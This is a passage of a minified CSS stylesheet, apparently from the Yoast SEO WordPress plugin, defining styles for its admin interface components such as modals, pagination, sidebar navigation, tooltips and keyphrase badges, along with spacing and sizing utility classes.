.yst-validation-message a:visited:hover{color:inherit}.yst-root .yst-validation-message a:focus{--tw-ring-color:currentColor}.yst-root .yst-validation-message--success{--tw-text-opacity:1;color:rgb(22 163 74/var(--tw-text-opacity))}.yst-root .yst-validation-message--info{--tw-text-opacity:1;color:rgb(37 99 235/var(--tw-text-opacity))}.yst-root .yst-validation-message--warning{--tw-text-opacity:1;color:rgb(217 119 6/var(--tw-text-opacity))}.yst-root .yst-validation-message--error{--tw-text-opacity:1;color:rgb(220 38 38/var(--tw-text-opacity))}.yst-root .yst-autocomplete-field--disabled .yst-autocomplete-field__description,.yst-root .yst-autocomplete-field--disabled .yst-autocomplete-field__label{opacity:.5}.yst-root .yst-autocomplete-field--disabled .yst-autocomplete-field__label{cursor:not-allowed}.yst-root .yst-autocomplete-field__description,.yst-root .yst-autocomplete-field__validation{margin-top:.5rem}.yst-root .yst-card{display:flex;flex-direction:column;position:relative}.yst-root .yst-card>:not([hidden])~:not([hidden]){--tw-space-y-reverse:0;margin-bottom:calc(1.5rem*var(--tw-space-y-reverse));margin-top:calc(1.5rem*(1 - var(--tw-space-y-reverse)))}.yst-root .yst-card{--tw-bg-opacity:1;--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.5rem;border-width:1px;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);overflow:hidden;padding:1.5rem;transition-duration:.15s;transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1)}.yst-root .yst-card__header{--tw-bg-opacity:1;align-items:center;background-color:rgb(243 244 246/var(--tw-bg-opacity));display:flex;height:6rem;justify-content:center;margin-left:-1.5rem;margin-right:-1.5rem;margin-top:-1.5rem;padding:1.5rem;position:relative}.yst-root .yst-card__content{flex-grow:1}.yst-root .yst-card__footer{--tw-border-opacity:1;border-color:rgb(229 231 235/var(--tw-border-opacity));border-top-width:1px;padding-top:1.5rem}.yst-root .yst-checkbox-group--disabled .yst-checkbox-group__description,.yst-root .yst-checkbox-group--disabled .yst-checkbox-group__label{cursor:not-allowed;opacity:.5}.yst-root .yst-checkbox-group__label{margin-bottom:.5rem}.yst-root .yst-checkbox-group__options{display:flex;flex-direction:column;gap:.75rem}.yst-root .yst-checkbox-group__description{margin-bottom:1rem;margin-top:-.5rem}.yst-root .yst-feature-upsell{position:relative}.yst-root .yst-feature-upsell--default{--tw-grayscale:grayscale(100%);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.yst-root .yst-feature-upsell--card{padding:1.5rem}.yst-root .yst-file-import>:not([hidden])~:not([hidden]){--tw-space-y-reverse:0;margin-bottom:calc(2rem*var(--tw-space-y-reverse));margin-top:calc(2rem*(1 - var(--tw-space-y-reverse)))}.yst-root .yst-file-import__feedback{--tw-border-opacity:1;--tw-bg-opacity:1;--tw-shadow:0 4px 6px -1px #0000001a,0 2px 4px -2px #0000001a;--tw-shadow-colored:0 4px 6px -1px var(--tw-shadow-color),0 2px 4px -2px var(--tw-shadow-color);background-color:rgb(255 255 255/var(--tw-bg-opacity));border-color:rgb(203 213 225/var(--tw-border-opacity));border-radius:.375rem;border-width:1px;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);padding:1rem}.yst-root .yst-file-import__feedback-header{align-items:flex-start;display:flex}.yst-root .yst-file-import__feedback-header>:not([hidden])~:not([hidden]){--tw-space-x-reverse:0;margin-left:calc(1rem*(1 - var(--tw-space-x-reverse)));margin-right:calc(1rem*var(--tw-space-x-reverse))}.yst-root .yst-file-import__feedback-figure{--tw-bg-opacity:1;align-items:center;background-color:rgb(243 229 237/var(--tw-bg-opacity));border-radius:9999px;display:flex;height:2rem;justify-content:center;width:2rem}.yst-root .yst-file-import__feedback-figure>svg{--tw-text-opacity:1;color:rgb(166 30 105/var(--tw-text-opacity));height:1.25rem;width:1.25rem}.yst-root .yst-file-import__feedback-title{--tw-text-opacity:1;color:rgb(30 41 59/var(--tw-text-opacity));display:block;font-weight:500;margin-bottom:.125rem;overflow-wrap:break-word}.yst-root .yst-file-import__feedback-description{display:block;font-size:.75rem;font-weight:500}.yst-root .yst-file-import__abort-button{--tw-bg-opacity:1;--tw-text-opacity:1;align-items:center;background-color:rgb(241 245 249/var(--tw-bg-opacity));border-radius:9999px;color:rgb(100 116 139/var(--tw-text-opacity));display:inline-flex;flex-shrink:0;height:1.25rem;justify-content:center;width:1.25rem}.yst-root .yst-file-import__abort-button:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity));color:rgb(71 85 105/var(--tw-text-opacity))}.yst-root .yst-file-import__abort-button:focus{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(166 30 105/var(--tw-bg-opacity));color:rgb(255 255 255/var(--tw-text-opacity));outline:2px solid #0000;outline-offset:2px}.yst-root .yst-file-import__abort-button>svg{height:.75rem;width:.75rem}.yst-root .yst-file-import__abort-button>svg>path{stroke-width:3}.yst-root .yst-modal{bottom:0;left:0;padding:1rem;position:fixed;right:0;top:0;z-index:10}@media (min-width:640px){.yst-root .yst-modal{padding:2rem}}@media (min-width:768px){.yst-root .yst-modal{padding:5rem}}.yst-root .yst-modal__layout{display:flex;min-height:100%}.yst-root .yst-modal--center .yst-modal__layout{align-items:center;justify-content:center}.yst-root .yst-modal--top-center .yst-modal__layout{align-items:flex-start;justify-content:center}.yst-root .yst-modal__overlay{--tw-bg-opacity:0.75;background-color:rgb(100 116 139/var(--tw-bg-opacity));bottom:0;left:0;position:fixed;right:0;top:0;transition-duration:.15s;transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1)}.yst-root .yst-modal__panel{--tw-bg-opacity:1;--tw-shadow:0 20px 25px -5px #0000001a,0 8px 10px -6px #0000001a;--tw-shadow-colored:0 20px 25px -5px var(--tw-shadow-color),0 8px 10px -6px var(--tw-shadow-color);background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.5rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);max-width:36rem;overflow:hidden;padding:1.5rem;position:relative;width:100%}.yst-root .yst-modal__close{display:block;position:absolute;right:1rem;top:1rem}.yst-root .yst-modal__close-button{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.375rem;color:rgb(148 163 184/var(--tw-text-opacity));position:relative;z-index:10}.yst-root .yst-modal__close-button:hover{--tw-text-opacity:1;color:rgb(100 116 139/var(--tw-text-opacity))}.yst-root .yst-modal__close-button:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:2px;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-modal__container{display:flex;flex-direction:column;max-height:calc(100vh - 2rem)}@media (min-width:640px){.yst-root .yst-modal__container{max-height:calc(100vh - 4rem)}}@media (min-width:768px){.yst-root .yst-modal__container{max-height:calc(100vh - 10rem)}}.yst-root .yst-modal__panel .yst-modal__container{max-height:calc(100vh - 5rem)}@media (min-width:640px){.yst-root .yst-modal__panel .yst-modal__container{max-height:calc(100vh - 7rem)}}@media (min-width:768px){.yst-root .yst-modal__panel .yst-modal__container{max-height:calc(100vh - 13rem)}}.yst-root .yst-modal__container-footer,.yst-root .yst-modal__container-header{flex-shrink:0}.yst-root .yst-modal__container-content{overflow:auto}.yst-root .yst-modal__panel .yst-modal__container-content{margin-left:-1.5rem;margin-right:-1.5rem;padding-left:1.5rem;padding-right:1.5rem}.yst-root .yst-notifications{display:flex;flex-direction:column;max-height:calc(100vh - 4rem);max-width:calc(100vw - 4rem);pointer-events:none;position:fixed;width:100%;z-index:20}.yst-root .yst-notifications>:not([hidden])~:not([hidden]){--tw-space-y-reverse:0;margin-bottom:calc(1rem*var(--tw-space-y-reverse));margin-top:calc(1rem*(1 - var(--tw-space-y-reverse)))}.yst-root .yst-notifications--bottom-center{align-items:center;bottom:2rem}.yst-root .yst-notifications--bottom-left{bottom:2rem;left:2rem}.yst-root .yst-notifications--top-center{align-items:center;top:2rem}.yst-root .yst-notification--large{width:24rem}.yst-root .yst-notification__icon{height:1.25rem;width:1.25rem}.yst-root .yst-pagination{display:inline-flex;isolation:isolate}.yst-root .yst-pagination>:not([hidden])~:not([hidden]){--tw-space-x-reverse:0;margin-left:calc(-1px*(1 - var(--tw-space-x-reverse)));margin-right:calc(-1px*var(--tw-space-x-reverse))}.yst-root .yst-pagination{--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);border-radius:.375rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)}.yst-root .yst-pagination-display__text{--tw-text-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-inset:inset;--tw-ring-opacity:1;--tw-ring-color:rgb(226 232 240/var(--tw-ring-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(100 116 139/var(--tw-text-opacity));font-weight:400;padding:.5rem .75rem}.yst-root .yst-pagination-display__current-text{--tw-text-opacity:1;color:rgb(71 85 105/var(--tw-text-opacity));font-weight:600}.yst-root .yst-pagination-display__truncated{--tw-text-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-inset:inset;--tw-ring-opacity:1;--tw-ring-color:rgb(226 232 240/var(--tw-ring-opacity));align-self:center;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(100 116 139/var(--tw-text-opacity));display:inline-flex;font-size:.8125rem;font-weight:600;padding:.5rem 1rem}.yst-root .yst-pagination__button{--tw-text-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-inset:inset;--tw-ring-opacity:1;--tw-ring-color:rgb(203 213 225/var(--tw-ring-opacity));align-items:center;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(148 163 184/var(--tw-text-opacity));display:inline-flex;padding:.5rem;position:relative}.yst-root .yst-pagination__button:hover{--tw-bg-opacity:1;background-color:rgb(248 250 252/var(--tw-bg-opacity))}.yst-root .yst-pagination__button:focus{outline-color:#a61e69;outline-offset:0;z-index:20}.yst-root .yst-pagination__button--active{--tw-bg-opacity:1;--tw-text-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);background-color:rgb(166 30 105/var(--tw-bg-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(255 255 255/var(--tw-text-opacity));font-size:.8125rem;font-weight:600;z-index:10}.yst-root .yst-pagination__button--active:hover{--tw-bg-opacity:1;background-color:rgb(166 30 105/var(--tw-bg-opacity))}.yst-root .yst-pagination__button--active:focus{z-index:20}.yst-root .yst-pagination__button--active:focus-visible{border-radius:.125rem;outline-color:#a61e69;outline-offset:2px;outline-style:solid;outline-width:2px}.yst-root .yst-pagination__button--disabled{cursor:not-allowed;opacity:.5}.yst-root .yst-pagination__button--disabled:hover{background-color:initial}.yst-root .yst-pagination__button--disabled:focus{outline:2px solid #0000;outline-offset:2px}.yst-root .yst-radio-group--inline-block .yst-radio-group__options{display:flex;flex-direction:row;flex-wrap:wrap;gap:.5rem}.yst-root .yst-radio-group--disabled .yst-radio-group__description,.yst-root .yst-radio-group--disabled .yst-radio-group__label{opacity:.5}.yst-root .yst-radio-group--disabled .yst-radio-group__label{cursor:not-allowed}.yst-root .yst-radio-group__label{margin-bottom:.5rem}.yst-root .yst-radio-group__options{display:flex;flex-direction:column;gap:.5rem}.yst-root .yst-radio-group__description{margin-bottom:1rem;margin-top:-.5rem}.yst-root .yst-select-field--disabled .yst-select-field__description,.yst-root .yst-select-field--disabled .yst-select-field__label{cursor:not-allowed;opacity:.5}.yst-root .yst-select-field__options{display:flex;flex-direction:column;gap:.75rem}.yst-root .yst-select-field__description,.yst-root .yst-select-field__validation{margin-top:.5rem}.yst-root .yst-mobile-navigation__top{position:sticky;top:0;width:100%;z-index:50}.yst-root .yst-mobile-navigation__dialog{bottom:0;display:flex;left:0;position:fixed;right:0;top:0;z-index:50}.yst-root .yst-mobile-navigation__dialog,.yst-root .yst-sidebar-navigation__sidebar{--yst-menu-text-color:#1e293b}.yst-root .yst-sidebar-navigation__list>:not([hidden])~:not([hidden]){--tw-space-y-reverse:0;margin-bottom:calc(.125rem*var(--tw-space-y-reverse));margin-top:calc(.125rem*(1 - var(--tw-space-y-reverse)))}.yst-root .yst-sidebar-navigation__list--indented{--yst-menu-text-color:#475569;margin-left:2rem}.yst-root .yst-sidebar-navigation__item--active.yst-sidebar-navigation__collapsible-button,.yst-root .yst-sidebar-navigation__item--active.yst-sidebar-navigation__link{--tw-bg-opacity:1!important;--tw-text-opacity:1!important;background-color:rgb(226 232 240/var(--tw-bg-opacity))!important;color:rgb(15 23 42/var(--tw-text-opacity))!important}.yst-root .yst-sidebar-navigation__item--active .yst-sidebar-navigation__icon{--tw-text-opacity:1;color:rgb(100 116 139/var(--tw-text-opacity))}.yst-root .yst-sidebar-navigation__item{list-style-type:none}.yst-root .yst-sidebar-navigation__item>:not([hidden])~:not([hidden]){--tw-space-y-reverse:0;margin-bottom:calc(.125rem*var(--tw-space-y-reverse));margin-top:calc(.125rem*(1 - var(--tw-space-y-reverse)))}.yst-root .yst-sidebar-navigation__item:first-child{margin-top:.125rem}.yst-root .yst-sidebar-navigation__collapsible~.yst-sidebar-navigation__collapsible{margin-top:.25rem}.yst-root .yst-sidebar-navigation__collapsible-button{align-items:center;border-radius:.375rem;color:var(--yst-menu-text-color);column-gap:.75rem;cursor:pointer;display:flex;font-size:.8125rem;font-weight:500;justify-content:center;padding:.5rem .75rem;-webkit-text-decoration-line:none;text-decoration-line:none;width:100%}.yst-root .yst-sidebar-navigation__collapsible-button:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(248 250 252/var(--tw-bg-opacity));color:rgb(15 23 42/var(--tw-text-opacity))}.yst-root .yst-sidebar-navigation__collapsible-button:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-sidebar-navigation__link{align-items:center;border-radius:.375rem;color:var(--yst-menu-text-color);display:flex;font-size:.8125rem;font-weight:500;padding:.5rem .75rem;-webkit-text-decoration-line:none;text-decoration-line:none}.yst-root .yst-sidebar-navigation__link:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(248 250 252/var(--tw-bg-opacity));color:rgb(15 23 42/var(--tw-text-opacity))}.yst-root .yst-sidebar-navigation__link:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:1px;--tw-ring-offset-color:#0000;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root a.yst-sidebar-navigation__link:visited{color:var(--yst-menu-text-color)}.yst-root a.yst-sidebar-navigation__link:hover:visited{color:#0f172a}.yst-root a.yst-sidebar-navigation__link:focus{border-radius:.375rem;color:var(--yst-menu-text-color)}.yst-root .yst-sidebar-navigation__icon{--tw-text-opacity:1;color:rgb(148 163 184/var(--tw-text-opacity));flex-shrink:0}.yst-group:hover .yst-root .yst-sidebar-navigation__icon{--tw-text-opacity:1;color:rgb(100 116 139/var(--tw-text-opacity))}.yst-root .yst-tag-field--disabled .yst-tag-field__description,.yst-root .yst-tag-field--disabled .yst-tag-field__label{opacity:.5}.yst-root .yst-tag-field--disabled .yst-tag-field__label{cursor:not-allowed}.yst-root .yst-tag-field__description,.yst-root .yst-tag-field__validation{margin-top:.5rem}.yst-root .yst-text-field--disabled .yst-text-field__description,.yst-root .yst-text-field--disabled .yst-text-field__label{opacity:.5}.yst-root .yst-text-field--disabled .yst-text-field__label{cursor:not-allowed}.yst-root .yst-text-field--read-only .yst-text-field__label{cursor:default}.yst-root .yst-text-field__description,.yst-root .yst-text-field__validation{margin-top:.5rem}.yst-root .yst-textarea-field--disabled .yst-textarea-field__description,.yst-root .yst-textarea-field--disabled .yst-textarea-field__label{opacity:.5}.yst-root .yst-textarea-field--disabled .yst-textarea-field__label{cursor:not-allowed}.yst-root .yst-text-field--read-only .yst-textarea-field__label{cursor:default}.yst-root .yst-textarea-field__description,.yst-root .yst-textarea-field__validation{margin-top:.5rem}.yst-root .yst-toggle-field{display:flex;flex-direction:column;gap:.25rem}.yst-root .yst-toggle-field--disabled .yst-toggle-field__description,.yst-root .yst-toggle-field--disabled .yst-toggle-field__label-wrapper{opacity:.5}.yst-root .yst-toggle-field--disabled .yst-toggle-field__label,.yst-root .yst-toggle-field--disabled .yst-toggle-field__label-wrapper{cursor:not-allowed}.yst-root .yst-toggle-field__header{align-items:center;display:flex;flex-direction:row;gap:1.5rem;justify-content:space-between}.yst-root .yst-toggle-field__label-wrapper{align-items:center;display:flex;gap:.25rem}.yst-root .yst-toggle-field__description{margin-right:4.25rem}.yst-root .yst-tooltip-container{--yst-display-tooltip:none;position:relative}.yst-root .yst-tooltip-container:focus-within,.yst-root .yst-tooltip-container:hover{--yst-display-tooltip:inline-block}.yst-root .yst-tooltip-trigger{border-radius:.375rem;cursor:default}.yst-root .yst-tooltip-trigger:focus{outline:2px solid #0000;outline-offset:2px}.yst-root .yst-tooltip-trigger:focus-visible{--tw-border-opacity:0;--tw-bg-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:2px;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-color:rgb(166 30 105/var(--tw-border-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-difficulty--very-easy{--tw-bg-opacity:1;background-color:rgb(110 231 183/var(--tw-bg-opacity))}.yst-root .yst-difficulty--easy{--tw-bg-opacity:1;background-color:rgb(5 150 105/var(--tw-bg-opacity))}.yst-root .yst-difficulty--possible{--tw-bg-opacity:1;background-color:rgb(251 191 36/var(--tw-bg-opacity))}.yst-root .yst-difficulty--difficult{--tw-bg-opacity:1;background-color:rgb(251 146 60/var(--tw-bg-opacity))}.yst-root .yst-difficulty--hard{--tw-bg-opacity:1;background-color:rgb(239 68 68/var(--tw-bg-opacity))}.yst-root .yst-difficulty--very-hard{--tw-bg-opacity:1;background-color:rgb(185 28 28/var(--tw-bg-opacity))}.yst-root .yst-intent-badge{align-items:center;border-radius:.125rem;display:flex;font-size:.8125rem;font-weight:600;height:1.25rem;justify-content:center;position:relative;text-transform:uppercase;width:1.25rem}.yst-root .yst-intent-badge.yst-intent-badge--i{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(191 219 254/var(--tw-bg-opacity));color:rgb(30 58 138/var(--tw-text-opacity))}.yst-root .yst-intent-badge.yst-intent-badge--n{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(221 214 254/var(--tw-bg-opacity));color:rgb(76 29 149/var(--tw-text-opacity))}.yst-root .yst-intent-badge.yst-intent-badge--c{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(253 230 138/var(--tw-bg-opacity));color:rgb(120 53 15/var(--tw-text-opacity))}.yst-root .yst-intent-badge.yst-intent-badge--t{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(187 247 208/var(--tw-bg-opacity));color:rgb(20 83 45/var(--tw-text-opacity))}.yst-root .yst-table-button{gap:.5rem}.yst-root .yst-table-button.yst-button--secondary .yst-button-icon{--tw-text-opacity:1;color:rgb(148 163 184/var(--tw-text-opacity));height:.75rem;width:.75rem}.yst-root .yst-table-button.yst-button--tertiary{--tw-text-opacity:1;color:rgb(239 68 68/var(--tw-text-opacity))}.yst-root .yst-table-button.yst-button--tertiary:hover{--tw-text-opacity:1;color:rgb(185 28 28/var(--tw-text-opacity))}.yst-root .yst-table-button.yst-button--tertiary .yst-button-icon{height:.875rem;width:.875rem}.yst-root .yst-success-message{--tw-text-opacity:1;align-items:center;color:rgb(71 85 105/var(--tw-text-opacity));display:flex;font-size:.75rem;gap:.25rem;justify-content:center;line-height:1.25rem;padding:.25rem .75rem;transition-duration:.3s;transition-property:color,background-color,border-color,fill,stroke,opacity,box-shadow,transform,filter,-webkit-text-decoration-color,-webkit-backdrop-filter;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter,-webkit-text-decoration-color,-webkit-backdrop-filter;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-timing-function:cubic-bezier(0,0,.2,1)}.yst-root .yst-success-message .yst-success-icon{height:1rem;width:1rem}.yst-root .yst-success-message.yst-success-message-add .yst-success-icon{--tw-text-opacity:1;color:rgb(74 222 128/var(--tw-text-opacity))}.yst-root .yst-success-message.yst-success-message-remove .yst-success-icon{--tw-text-opacity:1;color:rgb(239 68 68/var(--tw-text-opacity))}.yst-root .yst-modal-footer-link{align-items:center;display:flex;flex-direction:row;gap:.25rem}.yst-root .yst-modal-footer-link .yst-link-icon{height:.75rem;width:.75rem}.yst-root .yst-related-keyphrase-modal-content{max-height:60vh;min-height:350px;overflow-y:auto;padding:1.5rem}.yst-sr-only{clip:rect(0,0,0,0)!important;border-width:0!important;height:1px!important;margin:-1px!important;overflow:hidden!important;padding:0!important;position:absolute!important;white-space:nowrap!important;width:1px!important}.yst-pointer-events-none{pointer-events:none!important}.yst-invisible{visibility:hidden!important}.yst-fixed{position:fixed!important}.yst-absolute{position:absolute!important}.yst-relative{position:relative!important}.yst-sticky{position:sticky!important}.yst-inset-0{bottom:0!important;left:0!important;right:0!important;top:0!important}.yst-inset-5{bottom:1.25rem!important;left:1.25rem!important;right:1.25rem!important;top:1.25rem!important}.yst-inset-x-0{left:0!important;right:0!important}.yst-inset-y-0{bottom:0!important;top:0!important}.yst--left-3{left:-.75rem!important}.yst-top-0{top:0!important}.yst-right-0{right:0!important}.yst-bottom-12{bottom:3rem!important}.yst-top-2{top:.5rem!important}.yst-right-2{right:.5rem!important}.yst-bottom-0{bottom:0!important}.yst-top-1\/2{top:50%!important}.yst--right-\[6\.5px\]{right:-6.5px!important}.yst--top-\[6\.5px\]{top:-6.5px!important}.yst-left-4{left:1rem!important}.yst--bottom-6{bottom:-1.5rem!important}.yst-top-8{top:2rem!important}.yst-top-16{top:4rem!important}.yst-top-3\.5{top:.875rem!important}.yst-top-3{top:.75rem!important}.yst-left-0{left:0!important}.yst-z-30{z-index:30!important}.yst-z-40{z-index:40!important}.yst-z-10{z-index:10!important}.yst-z-20{z-index:20!important}.yst-order-last{order:9999!important}.yst-col-span-1{grid-column:span 1/span 1!important}.yst-m-0{margin:0!important}.yst-m-8{margin:2rem!important}.yst--m-6{margin:-1.5rem!important}.yst--mx-1{margin-left:-.25rem!important;margin-right:-.25rem!important}.yst-my-auto{margin-bottom:auto!important;margin-top:auto!important}.yst-mx-auto{margin-left:auto!important;margin-right:auto!important}.yst-my-4{margin-bottom:1rem!important;margin-top:1rem!important}.yst-my-2{margin-bottom:.5rem!important;margin-top:.5rem!important}.yst-my-6{margin-bottom:1.5rem!important;margin-top:1.5rem!important}.yst-mx-\[calc\(50\%-50vw\)\]{margin-left:calc(50% - 50vw)!important;margin-right:calc(50% - 50vw)!important}.yst-my-12{margin-bottom:3rem!important;margin-top:3rem!important}.yst-my-3{margin-bottom:.75rem!important;margin-top:.75rem!important}.yst-my-8{margin-bottom:2rem!important;margin-top:2rem!important}.yst--mx-6{margin-left:-1.5rem!important;margin-right:-1.5rem!important}.yst-mx-1\.5{margin-left:.375rem!important;margin-right:.375rem!important}.yst-mx-1{margin-left:.25rem!important;margin-right:.25rem!important}.yst-mx-2{margin-left:.5rem!important;margin-right:.5rem!important}.yst-my-0{margin-bottom:0!important;margin-top:0!important}.yst-my-16{margin-bottom:4rem!important;margin-top:4rem!important}.yst--ml-1{margin-left:-.25rem!important}.yst-mt-6{margin-top:1.5rem!important}.yst-mt-1\.5{margin-top:.375rem!important}.yst-mt-1{margin-top:.25rem!important}.yst-ml-auto{margin-left:auto!important}.yst--mr-14{margin-right:-3.5rem!important}.yst-mb-2{margin-bottom:.5rem!important}.yst-mr-4{margin-right:1rem!important}.yst-mr-2{margin-right:.5rem!important}.yst-mb-px{margin-bottom:1px!important}.yst-ml-4{margin-left:1rem!important}.yst-mt-\[3px\]{margin-top:3px!important}.yst-mt-4{margin-top:1rem!important}.yst-mt-3{margin-top:.75rem!important}.yst-mb-16{margin-bottom:4rem!important}.yst-mt-auto{margin-top:auto!important}.yst-ml-3{margin-left:.75rem!important}.yst-mr-1{margin-right:.25rem!important}.yst-mr-5{margin-right:1.25rem!important}.yst-mb-8{margin-bottom:2rem!important}.yst-ml-1{margin-left:.25rem!important}.yst--mr-1{margin-right:-.25rem!important}.yst--mb-\[1em\]{margin-bottom:-1em!important}.yst-mt-2{margin-top:.5rem!important}.yst-mb-4{margin-bottom:1rem!important}.yst-mb-5{margin-bottom:1.25rem!important}.yst-mt-12{margin-top:3rem!important}.yst-mb-6{margin-bottom:1.5rem!important}.yst-mb-3{margin-bottom:.75rem!important}.yst-ml-1\.5{margin-left:.375rem!important}.yst-mr-6{margin-right:1.5rem!important}.yst--ml-px{margin-left:-1px!important}.yst-ml-12{margin-left:3rem!important}.yst-mb-0{margin-bottom:0!important}.yst--mt-6{margin-top:-1.5rem!important}.yst-mt-8{margin-top:2rem!important}.yst-ml-2{margin-left:.5rem!important}.yst-mr-3{margin-right:.75rem!important}.yst-mt-7{margin-top:1.75rem!important}.yst-mt-10{margin-top:2.5rem!important}.yst-mt-\[-2\.6rem\]{margin-top:-2.6rem!important}.yst-mt-\[18px\]{margin-top:18px!important}.yst-mb-1{margin-bottom:.25rem!important}.yst-mr-8{margin-right:2rem!important}.yst--mt-4{margin-top:-1rem!important}.yst-mb-24{margin-bottom:6rem!important}.yst-mt-\[27\.5px\]{margin-top:27.5px!important}.yst-mt-5{margin-top:1.25rem!important}.yst-mt-0{margin-top:0!important}.yst-block{display:block!important}.yst-inline-block{display:inline-block!important}.yst-flex{display:flex!important}.yst-inline-flex{display:inline-flex!important}.yst-table-cell{display:table-cell!important}.yst-table-row{display:table-row!important}.yst-grid{display:grid!important}.yst-hidden{display:none!important}.yst-aspect-square{aspect-ratio:1/1!important}.yst-h-5{height:1.25rem!important}.yst-h-6{height:1.5rem!important}.yst-h-4{height:1rem!important}.yst-h-12{height:3rem!important}.yst-h-0{height:0!important}.yst-h-full{height:100%!important}.yst-h-16{height:4rem!important}.yst-h-7{height:1.75rem!important}.yst-h-3{height:.75rem!important}.yst-h-8{height:2rem!important}.yst-h-\[17px\]{height:17px!important}.yst-h-\[90vh\]{height:90vh!important}.yst-h-4\/5{height:80%!important}.yst-h-20{height:5rem!important}.yst-h-\[120px\]{height:120px!important}.yst-h-auto{height:auto!important}.yst-h-9{height:2.25rem!important}.yst-h-2\.5{height:.625rem!important}.yst-h-2{height:.5rem!important}.yst-h-24{height:6rem!important}.yst-h-48{height:12rem!important}.yst-h-96{height:24rem!important}.yst-h-\[45px\]{height:45px!important}.yst-h-14{height:3.5rem!important}.yst-h-28{height:7